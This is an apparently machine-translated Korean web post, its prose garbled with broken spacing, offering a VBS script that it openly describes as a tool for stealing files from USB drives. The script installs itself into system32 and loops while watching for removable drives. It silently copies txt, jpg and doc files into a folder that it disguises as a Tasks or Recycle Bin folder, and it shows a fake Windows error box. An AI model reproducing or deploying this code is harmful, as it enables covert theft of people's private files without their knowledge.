USB 파일 을 자동 으로 복사 하 는 VBS 스 크 립 트

다음은 프 리 젠 테 이 션 입 니 다.첫째,오른쪽 단 추 를 누 르 고 oStr="txt|jpg|doc"를 선택 하 십시오.훔 칠 파일 형식 을 스스로 추가 할 수 있 습 니 다."|"로 oDistPath="C:\\windows\\\시스템\\\""저장 경로 oFolder Name="Task"저장 폴 더 이름 oType=0"으로 저 장 된 폴 더 를 task 폴 더 로 위장 하고 2 는 recycler 폴 더 입 니 다.0 은 oOut=1'1 복사 완료 후 종료,0 복사 완료 후 종료 하지 않 습 니 다.계속 순환2.저장 후 실행 하면 설치 성공 대화 상자 가 나타 납 니 다.이 대화 상자 가 나타 나 지 않 으 려 면'Msgbox'설치 성공'주석 을 달 수 있 습 니 다.이때 스 크 립 트 는 U 디스크 의 삽입 을 순환 적 으로 모니터링 하고 있 습 니 다3.U 디스크 U 디스크 를 삽입 한 후 파일 복 사 를 시작 합 니 다.복사 가 완료 되면 알림 대화 상자 가 나타 납 니 다.이 대화 상자 가 나타 나 지 않 으 려 면"Msgbox"Windows 오류",64"를4 에서 설명 하고 파일 을 찾 을 수 있 습 니 다.파일 은 대상 폴 더 에 있 습 니 다.oType 을 1 로 설정 해서 이 폴 더 는 task 폴 더 가 되 었 습 니 다.이 때 두 번 눌 러 서 열 면 파일 이 보이 지 않 습 니 다.이 경우 rar 압축 패 키 지 를 통 해 탐색 할 수 있 으 며,그 중의 desktop.ini 파일 을 삭제 하면 폴 더 는 일반 폴 더 가 됩 니 다.  ww 는 이때 폴 더 를 열 어 내용 을 볼 수 있 습 니 다.

Copy.log 는 원본 파일 과 복 사 된 파일 을 기록 합 니 다.vbs 코드

oStr = "txt|jpg|doc" '    ，       “|”   
oDistPath = "C:\\windows\\system\\" '     
oFolderName = "Task" '        
oType = 1 '1 task   ，2 recycler   ，0     
oOut = 1 '1       ,0        ，     
'By:   QQ:343229025 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '    system32 

'          
If (not fso.FolderExists(oDistPath & oFolderName)) Then 
fso.CreateFolder(oDistPath & oFolderName) 
End If 
'       
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) 
'             
Do 
For Each oDriver In fso.Drives 
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then 
TreeIt(oDriver) 
Msgbox "Windows   ",64 
If(oOut=1) then 
Exit Do 
End if 
End If 
Next 
WScript.Sleep 15000 
Loop 
Mylog.Close 

'      
oHideFolder oDistPath,oFolderName,oType 


else '       ，    
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True 
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs" 
Msgbox "    " 
end if 


Set fso=nothing 
Set wshell=nothing 



'       
Function TreeIt(sPath) 
Set oFolder = fso.GetFolder(sPath) 
Set oSubFolders = oFolder.Subfolders 

Set oFiles = oFolder.Files 
For Each oFile In oFiles 
oCopyFile oFile.Path,oDistPath,oFolderName 
Next 

For Each oSubFolder In oSubFolders 
TreeIt(oSubFolder.Path) 
Next 

Set oFolder = Nothing 
Set oSubFolders = Nothing 

End Function 

'       
Function oCopyFile(FileName,oDistPath,oFolderName) 
Ext = fso.GetExtensionName(FileName) 
If(instr(oStr,lcase(Ext))) then 
Randomize 
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext 
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true 
Mylog.writeline FileName 
Mylog.writeline tempname 
End If 
End Function 

'        
Sub oHideFolder(oDistPath,oFolderName,oType) 

Select Case oType 
case 1 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") 
case 2 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") 
case 0 
Exit sub 
End Select 
Set inf=nothing 

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) 
SysoFolder.attributes=4 
Set SysoFolder=nothing 

End sub 

'By:   QQ:343229025